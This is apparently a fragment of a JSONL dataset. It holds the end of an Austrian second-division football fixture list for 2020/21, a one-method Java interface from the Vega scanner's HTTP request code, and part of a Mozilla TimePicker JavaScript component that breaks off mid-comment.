\"2020-11-28\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-04\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-04\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-04\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-04\",\n \"team1\": \"SV Horn\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-04\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-04\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-05\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"12. Runde\",\n \"date\": \"2020-12-05\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-11\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-11\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-11\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-11\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-11\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-11\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-12\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"13. Runde\",\n \"date\": \"2020-12-13\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"SV Horn\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"14. Runde\",\n \"date\": \"2021-02-12\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"15. Runde\",\n \"date\": \"2021-02-19\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"SV Horn\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"16. Runde\",\n \"date\": \"2021-02-26\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"17. Runde\",\n \"date\": \"2021-03-05\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"18. Runde\",\n \"date\": \"2021-03-12\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"SV Horn\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"19. Runde\",\n \"date\": \"2021-03-19\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"20. Runde\",\n \"date\": \"2021-04-02\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"SV Horn\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"21. Runde\",\n \"date\": \"2021-04-05\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"22. Runde\",\n \"date\": \"2021-04-09\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"SV Horn\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"23. Runde\",\n \"date\": \"2021-04-13\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"24. Runde\",\n \"date\": \"2021-04-16\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"SV Horn\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"25. Runde\",\n \"date\": \"2021-04-23\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"26. Runde\",\n \"date\": \"2021-04-30\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"27. Runde\",\n \"date\": \"2021-05-07\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"28. Runde\",\n \"date\": \"2021-05-12\",\n \"team1\": \"SV Horn\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"29. Runde\",\n \"date\": \"2021-05-15\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"SV Horn\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"30. Runde\",\n \"date\": \"2021-05-21\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"Kapfenberger SV\"\n }\n ]\n}"} +{"text": "package com.subgraph.vega.internal.http.requests.config;\n\nimport org.apache.http.RequestLine;\n\npublic interface IRequestEncodingStrategy {\n\tRequestLine encodeRequestLine(RequestLine requestLine);\n}\n"} +{"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n\"use strict\";\n\nfunction TimePicker(context) {\n this.context = context;\n this._attachEventListeners();\n}\n\n{\n const debug = 0 ? console.log.bind(console, \"[timepicker]\") : function() {};\n\n const DAY_PERIOD_IN_HOURS = 12,\n DAY_IN_MS = 86400000;\n\n TimePicker.prototype = {\n /**\n * Initializes the time picker. Set the default states and properties.\n * @param {Object} props\n * {\n * {Number} hour [optional]: Hour in 24 hours format (0~23), default is current hour\n * {Number} minute [optional]: Minute (0~59), default is current minute\n * {Number} min: Minimum time, in ms\n * {Number} max: Maximum time, in ms\n * {Number} step: Step size in ms\n * {String} format [optional]: \"12\" for 12 hours, \"24\" for 24 hours format\n * {String} locale [optional]: User preferred locale\n * }\n */\n init(props) {\n this.props = props || {};\n this._setDefaultState();\n this._createComponents();\n this._setComponentStates();\n },\n\n /*\n * Set initial time states. If there's no hour & minute, it will\n * use the current time. The Time module keeps track of the time states,\n * and calculates the valid options given the time, min, max, step,\n * and format (12 or 24).\n */\n _setDefaultState() {\n const { hour, minute, min, max, step, format } = this.props;\n const now = new Date();\n\n let timerHour = hour == undefined ? now.getHours() : hour;\n let timerMinute = minute == undefined ? now.getMinutes() : minute;\n\n let timeKeeper = new TimeKeeper({\n min: new Date(Number.isNaN(min) ? 0 : min),\n max: new Date(Number.isNaN(max) ? DAY_IN_MS - 1 : max),\n step,\n format: format || \"12\"\n });\n timeKeeper.setState({ hour: timerHour, minute: timerMinute });\n\n this.state = { timeKeeper };\n },\n\n /**\n * Initalize the spinner components.\n */\n _createComponents() {\n const { locale, step, format } = this.props;\n const { timeKeeper } = this.state;\n\n const wrapSetValueFn = (setTimeFunction) => {\n return (value) => {\n setTimeFunction(value);\n this._setComponentStates();\n this._dispatchState();\n };\n };\n const numberFormat = new Intl.NumberFormat(locale).format;\n\n this.components = {\n hour: new Spinner({\n setValue: wrapSetValueFn(value => {\n timeKeeper.setHour(value);\n this.state.isHourSet = true;\n }),\n getDisplayString: hour => {\n if (format == \"24\") {\n return numberFormat(hour);\n }\n // Hour 0 in 12 hour format is displayed as 12.\n const hourIn12 = hour % DAY_PERIOD_IN_HOURS;\n return hourIn12 == 0 ? numberFormat(12)\n : numberFormat(hourIn12);\n }\n }, this.context),\n minute: new Spinner({\n setValue: wrapSetValueFn(value => {\n timeKeeper.setMinute(value);\n this.state.isMinuteSet = true;\n }),\n getDisplayString: minute => numberFormat(minute)\n }, this.context)\n };\n\n this._insertLayoutElement({\n tag: \"div\",\n textContent: \":\",\n className: \"colon\",\n insertBefore: this.components.minute.elements.container\n });\n\n // The AM/PM spinner is only available in 12hr mode\n // TODO: Replace AM & PM string with localized string\n if (format == \"12\") {\n this.components.dayPeriod = new Spinner({\n setValue: wrapSetValueFn(value => {\n timeKeeper.setDayPeriod(value);\n this.state.isDayPeriodSet = true;\n }),\n getDisplayString: dayPeriod => dayPeriod == 0 ? \"AM\" : \"PM\",\n hideButtons: true\n }, this.context);\n\n this._insertLayoutElement({\n tag: \"div\",\n className: \"spacer\",\n insertBefore: this.components.dayPeriod.elements.container\n });\n }\n },\n\n /**\n * Insert element for layout purposes.\n *\n * @param {Object}\n * {\n * {String} tag: The tag to create\n * {DOMElement} insertBefore: The DOM node to insert before\n * {String} className [optional]: Class name\n * {String} textContent [optional]: Text content\n * }\n */\n _insertLayoutElement({ tag, insertBefore, className, textContent }) {\n let el = document.createElement(tag);\n el.textContent = textContent;\n el.className = className;\n this.context.insertBefore(el, insertBefore);\n },\n\n /**\n * Set component states.\n */\n _setComponentStates() {\n const { timeKeeper, isHourSet, isMinuteSet, isDayPeriodSet } = this.state;\n const isInvalid = timeKeeper.state.isInvalid;\n // Value is set to min if it's first opened and time state is invalid\n const setToMinValue = !isHourSet && !isMinuteSet && !isDayPeriodSet && isInvalid;\n\n this.components.hour.setState({\n value: setToMinValue ? timeKeeper.ranges.hours[0].value : timeKeeper.hour,\n items: timeKeeper.ranges.hours,\n isInfiniteScroll: true,\n isValueSet: isHourSet,\n isInvalid\n });\n\n this.components.minute.setState({\n value: setToMinValue ? timeKeeper.ranges.minutes[0].value : timeKeeper.minute,\n items: timeKeeper.ranges.minutes,\n isInfiniteScroll: true,\n isValueSet: isMinuteSet,\n isInvalid\n });\n\n // The AM/PM spinner is only available in 12hr mode\n if (this.props.format == \"12\") {\n this.components.dayPeriod.setState({\n value: setToMinValue ? timeKeeper.ranges.dayPeriod[0].value : timeKeeper.dayPeriod,\n items: timeKeeper.ranges.dayPeriod,\n isInfiniteScroll: false,\n isValueSet: isDayPeriodSet,\n isInvalid\n });\n }\n },\n\n /**\n * Dispatch CustomEvent to pass the state of picker to the 